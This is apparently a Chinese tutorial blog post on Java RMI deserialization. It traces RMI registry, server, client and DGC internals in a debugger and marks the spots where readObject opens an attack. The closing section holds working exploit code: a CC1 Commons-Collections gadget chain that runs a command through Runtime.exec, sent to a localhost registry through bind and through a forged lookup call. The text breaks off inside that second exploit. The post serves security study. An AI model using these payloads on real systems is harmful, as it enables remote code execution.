Java 反序列化-RMI

0x01 写在前面

摆了好长一段时间,自从学完 CC 链和 Shiro 以后感觉状态十分低迷,开始不知道学什么了,Java 学习周期太长难免让我产生厌学情绪,经过一段时间的调整恢复了些状态重新开始啃这块硬骨头

0x02 环境配置

这里仍然使用 jdk8u65,注意 RMI 当中的攻击手法只在 jdk8u121 之前才可以进行攻击,因为在 8u121 之后,bind rebind unbind 这三个方法只能对 localhost 进行攻击

0x03 RMI 基础

RMI 介绍

RMI 全称 Remote Method Invocation(远程方法调用),即在一个 JVM 中 Java 程序调用在另一个远程 JVM 中运行的 Java 程序,这个远程 JVM 既可以在同一台实体机上,也可以在不同的实体机上,两者之间通过网络进行通信。

RMI 依赖的通信协议为 JRMP(Java Remote Message Protocol,Java 远程消息交换协议),该协议为 Java 定制,要求服务端与客户端都为 Java 编写。

这个协议就像 HTTP 协议一样,规定了客户端和服务端通信要满足的规范

RMI 组成

img

RMI 的组成主要分为三个部分

Server服务端:服务端通过绑定远程对象,这个对象可以封装很多网络操作,也就是 Socket

Client客户端:客户端调用服务端的方法

Registry注册端:提供服务注册与服务获取。即 Server 端向 Registry 注册服务,比如地址、端口等一些信息,Client 端从 Registry 获取远程对象的一些信息,如地址、端口等,然后进行远程调用

RMI 架构

img

RMI 底层通讯采用了 Stub(运行在客户端)和 Skeleton(运行在服务端)机制,RMI 调用远程方法的大致如下:

  • RMI客户端 在调用远程方法时会先创建 Stub(sun.rmi.registry.RegistryImpl_Stub)
  • Stub 会将 Remote 对象传递给远程引用层 (java.rmi.server.RemoteRef) 并创建 java.rmi.server.RemoteCall(远程调用)对象。
  • RemoteCall 序列化 RMI服务名称Remote 对象。
  • RMI客户端远程引用层 传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI服务端远程引用层
  • RMI服务端 的远程引用层 (sun.rmi.server.UnicastServerRef) 收到请求会请求传递给 Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  • Skeleton 调用 RemoteCall 反序列化 RMI客户端 传过来的序列化。
  • Skeleton 处理客户端请求:bindlistlookuprebindunbind,如果是 lookup 则查找 RMI服务名 绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  • RMI客户端 反序列化服务端结果,获取远程对象的引用。
  • RMI客户端 调用远程方法,RMI服务端 反射调用 RMI服务实现类 的对应方法并序列化执行结果返回给客户端。
  • RMI客户端 反序列化 RMI 远程方法调用结果

RMI 实现

服务端

编写远程接口

  • 此远程接口要求作用域为 public
  • 继承 Remote 接口
  • 让其中的接口方法抛出异常

这里定义了一个 sayHello() 的方法

1
2
3
public interface IRemoteObj extends Remote {**
** public String sayHello(String keywords) throws RemoteException;**
**}

定义该接口的实现类

  • 实现远程接口
  • 继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架)
  • 构造函数需要抛出一个 RemoteException 错误
  • 实现类中使用的对象必须都可序列化,即都继承 java.io.Serializable
1
2
3
4
5
6
7
8
9
10
11
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj {
public RemoteObjImpl() throws RemoteException{
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System._out_.println(upKeywords);
return upKeywords;
}
}

注册远程对象

  • port 默认是 1099,不写会自动补上,其他端口必须写
  • bind 的绑定这里,只要和客户端去查找的 registry 一致即可
1
2
3
4
5
6
7
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
IRemoteObj remoteObj = new RemoteObjImpl();
Registry r = LocateRegistry._createRegistry_(1099);
r.bind("remoteObj", remoteObj);
}
}

客户端

定义远程对象接口

客户端只需注册器中获取远程对象,然后调用方法即可。但是客户端依然需要一个远程对象的接口,否则不知道获取回来的对象是什么类型的:

1
2
3
public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

获取远程对象

从远程的服务端中调用 RemoteHelloWorld 对象的 sayHello() 方法了

1
2
3
4
5
6
7
public class RMIClient {
public static void main(String[] args) throws RemoteException , NotBoundException {
Registry registry = LocateRegistry._getRegistry_("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
remoteObj.sayHello("g3ng4r");
}
}

img

0x04 RMI 通信原理

流程分析总览

首先 RMI 有三部分:RMI Registry RMI ServerRMI Client

如果两两通信就是 6 个交互流程,另外还有三个创建的过程,一共是九个过程。

RMI 的工作原理可以大致参考下图,后续进行一一分析

img

创建远程服务

tips:创建远程服务这一块是不存在漏洞的。断点打在 RMIServer 的创建远程对象这里:

img

开始调试,首先是到远程对象的构造函数 RemoteObjImpl,现在我们要把它发布到网络上去,我们要分析的是它如何被发布到网络上去的

RemoteObjImpl 这个类是继承于 UnicastRemoteObject 的,所以先会到父类的构造函数,父类的构造函数这里的 port 传入了 0,它代表一个随机端口

img

远程服务这里如果传入的是 0,它会被发布到网络上的一个随机端口,我们可以继续往下看一看。先 f8 到 exportObject(),再 f7 跳进去看

exportObject() 是一个静态函数,它就是主要负责将远程服务发布到网络上,第一个参数是 obj 对象,第二个参数是 new UnicastServerRef(port),第二个参数是用来处理网络请求的

img

继续往下面跟,去到了 UnicastServerRef 的构造函数。这里跟的操作先 f7,然后点击 UnicastServerRef 跟进,跟进去之后 UnicastServerRef 的构造函数,我们看到它 new 了一个 LiveRef(port),这个非常重要,它算是一个网络引用的类,继续跟进

img

跟进去之后,先是一个构造函数,先跳进 this 看一看

img

跳进 this 后的构造函数如下

1
2
3
public LiveRef(ObjID objID, int port) {
this(objID, TCPEndpoint._getLocalEndpoint_(port), true);
}

第一个参数 ID,第三个参数为 true 都没什么好说的,重点关注一下第二个参数

TCPEndpoint 是一个网络请求的类,去看一下它的构造函数,传参进去一个 IP 与一个端口,也就是说需要通过传进去一个 IP 和一个端口发起网络请求

回到 LiveRef 的构造函数跟进到 this 里面

img

这时候我们可以看一下一些赋值,发现 host 和 port 是赋值到了 endpoint 里面,而 endpoint 又是被封装在 LiveRef 里面的,所以记住数据是在 LiveRef 里面即可,并且这一 LiveRef 至始至终只会存在一个

img

回到 super(new LiveRef(port)); 进入 super 看一看它的父类 UnicastRef

img

img

这里就证明整个创建远程服务的过程只会存在一个 LiveRef。一路 f7 到一个静态函数 exportObject(),我们后续的操作过程都与 exportObject() 有关,基本都是在调用它,这一段不是很重要,一路 f7 就好了。直到此处出现 Stub

img

这里在我们服务端创建远程服务这一步居然出现了 stub 的创建,原理是 RMI 会先在 Service,也就是服务端创建一个 Stub,再把 Stub 传到 RMI Registry 中,最后让 RMI Client 去获取 Stub

接着我们研究 Stub 产生的这一步,先进到 createProxy 这个方法里面,先进行了基本的赋值,然后我们继续 跟进,去到判断的地方

img

这个判断暂时不用管,后续我们会碰到,那个时候再讲

再往下走,我们可以看到这是很明显的类加载的地方

img

第一个参数是 AppClassLoader,第二个参数是一个远程接口,第三个参数是调用处理器,调用处理器里面只有一个 ref,它也是和之前我们看到的 ref 是同一个,创建远程服务当中永远只有一个 ref,走完这个方法我们的动态代理 stub 就创建好了

img

继续 f8,到 Target 这里,Target 这里相当于一个总的封装,将所有用的东西放到 Target 里面,f7 进入看一看 Target 里面都放了什么

img

并且这里的几个 ref 都是同一个,通过 ID 就可以查看到它们是同一个。比如比较 dispstub 的。一个是服务端 ,一个是客户端的,ID 是一样的,都是 781

img

回到之前的 Target,下一条语句是 ref.exportObject(target),也就是把 target 这个封装好了的对象发布出去

img

我们跟进去看一下它的发布逻辑,一路 f7 到这里

img

从这里开始,第一句语句 listen,真正处理网络请求了,跟进去看

img

先获取 TCPEndpoint,然后在 server = ep.newServerSocket(); 创建了一个新的 socket,已经准备好了,等别人来连接,所以之后在 Thread 里面去做完成连接之后的事,运行逻辑如下:

执行 run() 方法,如果被连接就执行 executeAcceptLoop() 方法

img

executeAcceptLoop() 方法中进行连接处理

img

并且这个 newServerSocket() 方法会给 port 进行赋值,如果 lisent 端口为 0,则会进行随机赋值

img

执行完整个 listen() 方法后 target 中的 port 得到了赋值

img

总结:

从思路来说是不难的,也就是发布远程对象,用 exportObject() 指定到发布的 IP 与端口,端口的话是一个随机值。至始至终复杂的地方其实都是在赋值,创建类,进行各种各样的封装,实际上并不复杂。

还有一个过程就是发布完成之后的记录,理解的话,类似于日志就可以了,这些记录是保存到静态的 HashMap 当中

这一块是服务端自己创建远程服务的这么一个操作,所以这一块是不存在漏洞的

创建注册中心

创建注册中心与服务端是独立的,所以谁先谁后无所谓,本质上是一整个东西,打上断点进行调试:

img

首先会经过一个静态方法 ———— createRegistry,继续往下,走到了 RegistryImpl 这个对象下,f8 进去,会发现新建了一个 RegistryImpl 对象。这里 122 行,判断 port 是否为注册中心的 port,以及是否开启了 SecurityManager,也就是一系列的安全检查,这部分不是很重要,继续 f8

img

再往下走,它创建了一个 LiveRef,以及创建了一个新的 UnicastServerRef,这段代码就和前面面讲的 创建远程对象 是很类似的,我们可以跟进 setup 看一下

img

跟进之后发现和之前的是基本一样的,也是先赋值,然后进行 exportObject() 方法的调用

区别在于第三个参数的不同,名为 permanent,ref.exportObject()falseuref.exportObject()true,这代表我们创建注册中心这个对象,是一个永久对象,而之前远程对象是一个临时对象

img

f7 进到 exportObject,就和发布远程对象一样,到了创建 Stub 的阶段

img

这个 Stub 的创建方式这里就和前面的有大不一样了。我们还是跟进 createProxy() 中,首先这里要做一个判断

img

跟进 stubClassExists 进行判断,我们看到这个地方,是判断是否能获取到 RegistryImpl_Stub 这个类,换句话说,也就是若 RegistryImpl_Stub 这个类存在,则返回 True,反之 False

在这里可以找到 RegistryImpl_Stub 这个类是存在的。

img

对比发布远程对象那个步骤,创建注册中心是走进到 createStub(remoteClass, clientRef); 进去的,而发布远程对象则是直接创建动态代理的

img

执行的这个方法也很简单,就是直接通过反射创建这个对象,里面放的就是 ref

相比于之前发布远程对象中的 Stub,这是一个动态代理,里面放的是一个 ref,现在发布远程对象是用 forName 创建的,里面放的也是 ref,是一致的

img

继续往下,如果是服务端定义好的,就调用 setSkeleton() 方法,跟进去

img

然后这里有一个 createSkeleton() 方法,一看名字就知道是用来创建 Skeleton 的,而 Skeleton 在我们的那幅图中,作为服务端的代理,Skeleton 是用 forName() 的方式创建的

再往后走,又到了 Target 的地方,Target 部分的作用也与之前一样,用于储存封装的数据,与创建远程对象相比多出了 skel

img

所以这一段和前面一样,就迅速跳过了,到如图这个地方

img

继续走,直到 super.exportObject(target) 这里,f7 跟进,到里面有一个 putTarget() 方法,它会把封装的数据放进去

img

一路 f8 走下去,然后再看看封装了什么东西进去

img

查看 static 中的数据,点开 objTable 中查看三个 Target,我们逐个分析一下,分析的话主要还是看 ref

先点开这个 Target 的 value,主要关注几个参数:disp 中的 skel,以及 stub。它们的端口都是 1099,也就是说 1099 注册中心的一些端口数据都有了。这两个 ref 是同一个,可以对比着看一下

img

先点开这个 Target@1065mailto:Target@1065 的 value,存储里面需要我们关注的有 stub 是 $Proxy 对象的,如图查看它们的 ref

img

再点开 第二个 Target 的 value 的 stub 值,发现它为 DGCImpl_Stub,是分布式垃圾回收的一个对象,它并不是我们刚才创建的。这个东西挺重要的

img

所以这里就是起了几个远程服务,一个端口是固定了,另外两个端口是不固定的,随机产生的。至于为什么这里有三个 Target 呢?这个我们在后面的第 6 点里面会讲到

接下来进行绑定也就是最后一步,bind 操作,打上断点开始调试

img

首先检查是否是本地绑定的,一般都会直接通过,这里就不跟进去了

接下来检查一下 bindings 这里面是否有东西,其实 bindings 就是一个 HashTable。如果里面有数据的话就抛出异常

img

继续往前走,就是 bindings.put(name, obj);,也挺好理解的,就是把 IP 和端口放进去,到此处,绑定过程就结束了

img

总结

总结一下比较简单,注册中心这里其实和发布远程对象很类似,不过多了一个持久的对象,这个持久的对象就成为了注册中心

绑定的话就更简单了,一句话形容一下就是 hashTable.put(IP, port)

调用注册中心

客户端请求这部分是存在漏洞的点,原因很简单,RMI 是一个基于序列化的 Java 远程方法调用机制,这里有一些个客户端的有问题的反序列化

获取注册中心

这一块不存在漏洞,我们可以调试看一下,很简单,三句代码都先下断点,接着开始调试

img

进到 getRegistry() 方法里面,继续往下走,这里调试部分大家可以自己看一下,都不难的,无非是一些赋值与判断,大致流程其实和之前是很像的,有 new LiveRef 的操作,有 Util.createProxy() 的操作,感兴趣的师傅们可以跟进去看一下,是一样的流程。也是通过 forName 的方式创建的,这里 createProxy()forceStubUse 参数为 false(创建注册中心时为 true

img

就和之前一样,新建了一个 Ref,然后把该封装的都封装到 Ref 里面进去。这里封装的是 127.0.0.1:1099 的,这里我们就获取到了注册中心的 Stub,下一步就是去查找远程对象

查找远程对象

这里调试的话,因为对应的 Java 编译过的 class 文件是 1.1 的版本,无法进行打断点,会直接跳到其他地方去

比如这里在 90 行打上断点就会直接跳到 newcall() 中去

img

代码是可以按照正常的逻辑走的,就是打不了断点,问题不大,我们主要分析一下代码运行的逻辑

先看我们变量里面多了一个 param_1="remoteObj",这个东西就是传参的 String var1,这个 var1 最后是作为序列化的数据传进去的。注册中心后续会通过反序列化读取

img

接着下一步,我们看到 super.ref.invoke(var2),super 就是父类,也就是我们之前说的 UnicastRef 这个类。这里的 invoke() 方法是类似于激活的方法,invoke() 方法里面会调用 call.executeCall(),它是真正处理网络请求的方法,也就是客户端的网络请求都是通过这个方法实现的

img

这个方法后续再细讲,先看整个代码运行的逻辑。

我们的逻辑现在是从 invoke() —> call.executeCall() —> out.getDGCAckHandler(),到 out.getDGCAckHandler() 这个地方的时候,是 try 打头的,这里它有一个异常存在潜在攻击的可能性

img

我们先看一下 in 这个变量是什么

img

不难理解,in 就是数据流里面的东西。这里获取异常的本意应该是在报错的时候把一整个信息都拿出来,这样会更清晰一点,但是这里就出问题了 ———— 如果一个注册中心返回一个恶意的对象,客户端进行反序列化,这就会导致漏洞,这里的漏洞相比于其他漏洞更为隐蔽。

也就是说,只要调用 invoke(),就会导致漏洞。RMI 在设计之初就并未考虑到这个问题,导致客户端都是易受攻击的

上述就是注册中心与客户端进行交互时会产生的攻击

我们这里继续 f8,看一下到最后一步的时候获取到了什么数据。简单来说就是获取到了 RemoteObj 这个动态代理,其中包含一个 ref

img

请求服务端

F7 单步进入客户端第三个语句,下面是一堆 if 的判断,都是关于抛出异常的,这里就不再细看了,直接跳过。直到尾部 invokeRemoteMethod() 这个地方,我们跟进去看一下

img

跟进到此处,ref.invoke(),这是一个重载的方法,跟进到重载的 invoke() 方法里面。这个重载的 invoke 方法作用是创建了一个连接,和之前也比较类似。我们可以看一下它具体的逻辑实现

img

重载的 invoke 方法建立了连接,继续往里走,在循环里面有一个 marshalValue() 方法

img

它会序列化一个值,这个值其实就是我们传进的参数 g3ng4r,它的逻辑如图。先进行了一堆类型判断,之后再进行序列化

img

继续往前走,我们看到一个注释 // unmarshal return,后面接的是 call.executeCall(),之前我们也看到了这个方法,也就是说只要 RMI 处理网络请求,就一定会执行到这个方法,这里是存在危险的,原理上面已经代码跟过一遍了

继续直接往后看,这里有一个 unmarshalValueSee 的方法,因为现在我们传进去的类型是 String,不符合上面的一系列类型,这里会进行反序列化的操作,把这个数据读回来,这里是存在入口类的攻击点的

img

返回连接中读取的数据

img

这里可以看到我们拿到了经过服务端处理过的 g3ng4r 字符串,即 G3NG4R

img

总结

先说说存在攻击的点吧,在注册中心 –> 服务端这里,查找远程对象的时候是存在攻击的。具体表现形式是服务端打客户端,入口类在 call.executeCall(),里面抛出异常的时候会进行反序列化。这里可以利用 URLClassLoader 来打,后面会讲

在服务端 —> 客户端这里,也是存在攻击的,一共是两个点:一个是 call.executeCall(),另一个点是 unmarshalValueSee 这里

再总结一下代码的流程

分为三步走,先获取注册中心,再查找远程对象,查找远程对象这里获取到了一个 ref,最后客户端发出请求,与服务端建立连接,进行通信

注册中心处理

先说说断点怎么打,因为客户端那里,我们操作的是 Stub,服务端这边操作的是 Skel。在有了 Skel 之后应当是存在 Target 里面的,所以我们的断点打到处理 Target 的地方

先点 Server 的 Debug,再跑 Client 就可以了,成功的打断点如图

img

往下走,我们先看一看 Target 里面包含了什么,里面包含一个 stub,stub 中是一个 ref,这个 ref 对应的是 1099 端口

img

再往下走 final Dispatcher disp = target.getDispatcher() 是将 skel 的值放到 disp 里

img

继续往下走,它会调用 disp 的 dispatch 方法,我们跳进去看一下 disp.dispatch()

img

继续走,我们目前的 skel 不为 null,会到 oldDispatch() 这里,跟进

img

下面就是 skel.dispatch() 的过程了,这里才是重点,这里就是很多师傅文章里面会提到的 客户端打注册中心 的攻击方式。

  • 先介绍一下这段源码吧,很长,基本都是在做 case 的工作。

我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于 RegistryImpl_Skel#dispatch 中,也就是我们现在 dispatch 这个方法的地方。

如果存在对传入的对象调用 readObject 方法,则可以利用,dispatch 里面对应关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

只要中间是有反序列化就是可以攻击的,而且我们是从客户端打到注册中心,这其实是黑客们最喜欢的攻击方式。我们来看一看谁可以攻击

img

img

img

img

也就是除了 list 都可以

小结

客户端发起请求,注册中心做了什么,其实就是注册中心处理 Target,进行 Skel 的生成与处理。

漏洞点是在 dispatch 这里,存在反序列化的入口类。这里可以结合 CC 链子打的

服务端处理

这个流程是比较简单的,同第四点一样,此处得到的 Skel 是动态代理 $Proxy0 这个类的,之前我们提到过其实是封装了三个 Target 的,这就是其中之一

这里的断点位置打两个,如图:也就是当前请求到的是服务端的 Target

调试这里有一点小坑,打完两个断点之后,我们得到的第一个 Target 中的 StubDGCImpl 的,我们要的不是这个,前文我们提到过,这个类是用来处理内存垃圾的,这里要摁 f9 直至有 Proxy 动态代理的 stub 为止:

img

在这种情况下,我们再进到 dispatch() 方法里,往下走,获取到输入流,以及 MethodMethod 就是我们之前写的 sayHello() 方法

img

继续往下走,重点部分来了 ———— 循环当中的 unmarshalValue() 方法,这里和我们之前说的一样,是存在漏洞的

img

这里的流程和之前是一致的,也就是我们的 g3ng4r 传参传进去,序列化读进去,反序列化读出来,和之前是一致的

DGC 机制

断点不变,F9 直到 Target.stubDGCImpl,如图:

img

断点需要下在 ObjectTable 类的 putTarget() 方法里面。并且将前面两个断点去掉,直接调试即可:

img

首先我们去看一看 DGC 的运行原理是什么

还是比较简单的,将 Target 放到一个静态表里面,这里静态表就是在第 3 点说的,ObjectTable 里面封装了三个 Target

img

然后这里我们会发现,放进去的是 Proxy 这个动态代理的 Target 而非 DGC 的 Target。

这个 DGC 的 Target 挺奇妙的,是已经被封装到了 static 里面,我们去看 static 里面,发现它已经被封装进去了

img

那它到底是怎么创建的呢?我们一步步看

在 DGC 这个类在调用静态变量的时候,就会完成类的初始化,类的初始化是由 DGCImpl 这个类完成的,我们跟到 DGCImpl 中去看,发现里面有一个 static 方法,作用是 class initializer

我们可以在创建对象的地方打个断点,后续的过程,首先是 new 了很多对象,这些其实都是 Target 的一堆属性,不过这是封装之前的,之后的 createProxy() 方法这里,和注册中心创建远程服务的特别像

img

createProxy() 方法进去,会看到一个 createStub() 方法,跟进去

img

这里和注册中心创建远程服务一样,尝试是否可以获取到 DGCImpl_Stub 这个类,获取不到则抛出异常

img

这一个 DGCImpl_Stub 的服务至此已经被创建完毕了,它也是类似于创建远程服务一样,但是它做的业务不一样

注册中心的远程服务是用于注册的,这个是用于内存回收的,且端口随机

img

setSkeleton() 这个过程就是在 disp 里面创建 skel,和之前是一样的,调用过程是与第 3、4 点讲的一样的,这里就不重复了

我们重点关注一下 DGC 的 Stub 里面有漏洞的地方,到 DGCImpl_Stub 这个类下,它有两个方法,一个是 clean,另外一个是 dirty。clean 就是”强”清除内存,dirty 就是”弱”清除内存。

这里调用了 readObject() 方法,存在反序列化的入口类

img

同样在 DGCImpl_Skel 这个类下也存在反序列化的漏洞:

img

小结

是自动创建的一个过程,用于清理内存

漏洞点在客户端与服务端都存在,存在于 SkelStub 当中。这也就是所谓的 JRMP 绕过

通信原理总结

如果是漏洞利用的话,单纯攻击 RMI 意义是不大的,不论是 codespace 的那种利用,难度很高,还是说三者互相打这种,意义都不是很大,因为在 jdk8u121 之后都基本修复完毕了

RMI 多数的利用还是在后续的 fastjsonstrust2 这种类型的攻击组合拳比较多

0x05 RMI 基础攻击

根据 RMI 的部分,有这么一些攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • RMI Client

攻击 RMI Registry

只有一种客户端打注册中心,注册中心的交互主要是这一句话:

1
Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());

这里的交互方式不只是只有 bind,还有其他的一系列方式,如下

我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
但是讲道理,list 的这种攻击比较鸡肋

list 攻击

list() 方法可以列出目标上所有绑定的对象:

在 RMIClient 文件夹里面新建一个新的 Java class,因为我们后续的攻击肯定是从用户的客户端出发,往服务端这里打的。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package org.example;

import java.rmi.Naming;
import java.rmi.RemoteException;

public class ListAttack {
public static void main(String[] args) throws Exception{
IRemoteObj remoteObj = new IRemoteObj() {
@Override
public String sayHello(String keywords) throws RemoteException {
return null;
}
};
String[] s = Naming._list_("rmi://127.0.0.1:1099");
System._out_.println(s);
// 输出结果:[Ljava.lang.String;@4b1210ee
}
}

因为这里没有 readObject(),所以无法进行反序列化,这样我们的攻击面就太窄了。我们可以跳进 RegistryImpl_Skel#dispatch 看一下,list 对应的是 case1

1
2
3
4
5
6
7
8
9
10
11
12
case 1:
var2.releaseInputStream();
String[] var99 = var6.list();

try {
// 只有 writeObject(),没有 readObject()
ObjectOutput var102 = var2.getResultStream(true);
var102.writeObject(var99);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}

bind & rebind 攻击

bind 方法源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
case 0:
String var100;
Remote var103;
try {
ObjectInput var105 = var2.getInputStream();
// 反序列化
var100 = (String)var105.readObject();
var103 = (Remote)var105.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

rbind 方法源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
case 2:
String var98;
try {
ObjectInput var104 = var2.getInputStream();
// 反序列化
var98 = (String)var104.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

这两个地方都是有反序列化的,进行反序列化的参数是参数名以及远程对象;这就和我们前面分析的通信原理过程结合起来了

所以这个 bind 和 rebind 的服务端,就有概率可以作为反序列化攻击的一个入口类,如果服务端这里存在 CC 链相关的组件漏洞,那么就可以反序列化攻击,这里为了凸显的话,我们先把 CC 链导进来,这里我们就以 CC1 为例

1
2
3
4
5
6
7
<dependencies>  
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency></dependencies>

逆向分析一下这条链子,原本 CC1 的最后面是 InvocationHandler.readObject(),现在我们要让客户端的 bind() 方法执行 readObject()

回过头去看前面的,在客户端收到信息的时候是一个 Proxy 对象,让 Proxy 对象被执行的时候去调 readObject() 方法,可以先点进去 Proxy 对象看一看,其中有一个非常引人注目的方法 ———— newProxyInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h)
throws IllegalArgumentException
{
......

try {
if (sm != null) {
_checkNewProxyPermission_(Reflection._getCallerClass_(), cl);
}

final Constructor<?> cons = cl.getConstructor(_constructorParams_);
final InvocationHandler ih = h;
if (!Modifier._isPublic_(cl.getModifiers())) {
AccessController._doPrivileged_(new PrivilegedAction<Void>() {
public Void run() {
cons.setAccessible(true);
return null;
}
});
}
return cons.newInstance(new Object[]{h});
}

......
}

很明显的存在反序列化漏洞的地方,所以我们把 CC1 的那串恶意类拿出来就可以了,让 Proxy 执行 newProxyInstance() 即可,EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class BindAttack {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry._getRegistry_("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) _CC1_();
Remote remote = Remote.class.cast(Proxy._newProxyInstance_(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));
registry.bind("g3ng4r",remote);
}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
// 构造 setValue 的可控参数
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","G3ng4r");
Map<Object, Object> transformedMap = TransformedMap._decorate_(hashMap, null, chainedTransformer);

Class c = Class._forName_("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
return o;
}
}

Remote.class.cast 这里实际上是将一个代理对象转换为了 Remote 对象,因为 bind() 方法这里需要传入 Remote 对象。

rebind 的攻击也是如此,将 registry.bind("test",remote); 替换为 rebind() 方法即可

unbind & lookup 的攻击

unbind 方法源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 4:
String var7;
try {
ObjectInput var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

lookup 方法源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
case 2:
String var98;
try {
ObjectInput var104 = var2.getInputStream();
var98 = (String)var104.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

Remote var101 = var6.lookup(var98);

因为 unbindlookup 的最终利用和思想都是一样的

大致的思路还是和 bindrebind 差不多,但是 lookup 这里只可以传入 String 类型,这里我们可以通过伪造 lookup 连接请求进行利用,修改 lookup 方法代码使其可以传入对象,利用反射来实现这种攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.example;

import com.sun.corba.se.spi.orb.Operation;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class AttackRegistryEXP02 {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry._getRegistry_("127.0.0.1",1099);
InvocationHandler handler = (InvocationHandler) _CC1_();
Remote remote = Remote.class.cast(Proxy._newProxyInstance_(
Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);

// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(remote);
ref.invoke(var2);
}
public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
